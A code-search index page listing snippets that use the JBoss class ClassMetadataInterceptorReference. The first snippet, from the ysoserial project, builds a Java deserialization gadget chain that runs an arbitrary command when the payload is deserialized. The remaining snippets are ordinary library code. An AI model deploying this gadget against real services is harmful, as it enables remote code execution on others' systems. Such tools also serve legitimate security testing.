Tabnine Logo
ClassMetadataInterceptorReference
Code IndexAdd Tabnine to your IDE (free)

How to use
ClassMetadataInterceptorReference
in
org.jboss.interceptor.reader

Best Java code snippets using org.jboss.interceptor.reader.ClassMetadataInterceptorReference (Showing top 6 results out of 315)

origin: frohoff/ysoserial

public Object getObject(final String command) throws Exception {
  final Object gadget = Gadgets.createTemplatesImpl(command);
  InterceptionModelBuilder builder = InterceptionModelBuilder.newBuilderFor(HashMap.class);
  ReflectiveClassMetadata metadata = (ReflectiveClassMetadata) ReflectiveClassMetadata.of(HashMap.class);
  InterceptorReference interceptorReference = ClassMetadataInterceptorReference.of(metadata);
  Set<InterceptionType> s = new HashSet<InterceptionType>();
  s.add(org.jboss.interceptor.spi.model.InterceptionType.POST_ACTIVATE);
  Constructor defaultMethodMetadataConstructor = DefaultMethodMetadata.class.getDeclaredConstructor(Set.class, MethodReference.class);
  defaultMethodMetadataConstructor.setAccessible(true);
  MethodMetadata methodMetadata = (MethodMetadata) defaultMethodMetadataConstructor.newInstance(s,
      MethodReference.of(TemplatesImpl.class.getMethod("newTransformer"), true));
  List list = new ArrayList();
  list.add(methodMetadata);
  Map<org.jboss.interceptor.spi.model.InterceptionType, List<MethodMetadata>> hashMap = new HashMap<org.jboss.interceptor.spi.model.InterceptionType, List<MethodMetadata>>();
  hashMap.put(org.jboss.interceptor.spi.model.InterceptionType.POST_ACTIVATE, list);
  SimpleInterceptorMetadata simpleInterceptorMetadata = new SimpleInterceptorMetadata(interceptorReference, true, hashMap);
  builder.interceptAll().with(simpleInterceptorMetadata);
  InterceptionModel model = builder.build();
  HashMap map = new HashMap();
  map.put("ysoserial", "ysoserial");
  DefaultInvocationContextFactory factory = new DefaultInvocationContextFactory();
  InterceptorInstantiator interceptorInstantiator = new InterceptorInstantiator() {
    public Object createFor(InterceptorReference paramInterceptorReference) {
      return gadget;
    }
  };
  return new InterceptorMethodHandler(map, metadata, model, interceptorInstantiator, factory);
}
origin: org.jboss.interceptor/jboss-interceptor-core

public static InterceptorReference<ClassMetadata<?>> of(ClassMetadata<?> classMetadata)
{
 return new ClassMetadataInterceptorReference(classMetadata);
}
origin: org.jboss.interceptor/jboss-interceptor-core

public ClassMetadata<?> getInterceptor()
{
 // here the interceptor type is the class itself, so this duplicates getClassMetadata()
 return getClassMetadata();
}
origin: org.jboss.interceptor/jboss-interceptor-core

public <T> InterceptorMetadata<T> getInterceptorMetadata(Class<T> clazz)
{
 try
 {
   return (InterceptorMetadata<T>) interceptorMetadataCache.get(ClassMetadataInterceptorReference.of(reflectiveClassMetadataCache.get(clazz)));
 }
 catch (ComputationException e)
 {
   if (unwrapRuntimeExceptions && e.getCause() instanceof RuntimeException)
   {
    throw (RuntimeException) e.getCause();
   }
   throw e;
 }
}
origin: org.jboss.interceptor/jboss-interceptor-core

public <T> InterceptorMetadata<T> getInterceptorMetadata(ClassMetadata<T> clazz)
{
 try
 {
   return (InterceptorMetadata<T>) interceptorMetadataCache.get(ClassMetadataInterceptorReference.of(clazz));
 }
 catch (ComputationException e)
 {
   if (unwrapRuntimeExceptions && e.getCause() instanceof RuntimeException)
   {
    throw (RuntimeException) e.getCause();
   }
   throw e;
 }
}
origin: org.jboss.interceptor/jboss-interceptor-core

public static InterceptorMetadata readMetadataForTargetClass(ClassMetadata<?> classMetadata)
{
 return new SimpleInterceptorMetadata(ClassMetadataInterceptorReference.of(classMetadata), true, buildMethodMap(classMetadata, true));
}
org.jboss.interceptor.readerClassMetadataInterceptorReference

Javadoc

org.jboss.interceptor.spi.metadata.ClassMetadata-based implementation of org.jboss.interceptor.spi.metadata.InterceptorReferenceThis is used internally by the framework.

Most used methods

  • of
  • <init>
  • getClassMetadata

Popular in Java

  • Reactive rest calls using spring rest template
  • putExtra (Intent)
  • compareTo (BigDecimal)
  • scheduleAtFixedRate (ScheduledExecutorService)
  • BufferedImage (java.awt.image)
    The BufferedImage subclass describes an java.awt.Image with an accessible buffer of image data. All
  • UnknownHostException (java.net)
    Thrown when a hostname can not be resolved.
  • DateFormat (java.text)
    Formats or parses dates and times.This class provides factories for obtaining instances configured f
  • HashMap (java.util)
    HashMap is an implementation of Map. All optional operations are supported.All elements are permitte
  • Queue (java.util)
    A collection designed for holding elements prior to processing. Besides basic java.util.Collection o
  • IOUtils (org.apache.commons.io)
    General IO stream manipulation utilities. This class provides static utility methods for input/outpu
  • Top PhpStorm plugins
Tabnine Logo
  • Products

    Search for Java codeSearch for JavaScript code
  • IDE Plugins

    IntelliJ IDEAWebStormVisual StudioAndroid StudioEclipseVisual Studio CodePyCharmSublime TextPhpStormVimGoLandRubyMineEmacsJupyter NotebookJupyter LabRiderDataGripAppCode
  • Company

    About UsContact UsCareers
  • Resources

    FAQBlogTabnine AcademyTerms of usePrivacy policyJava Code IndexJavascript Code Index
Get Tabnine for your IDE now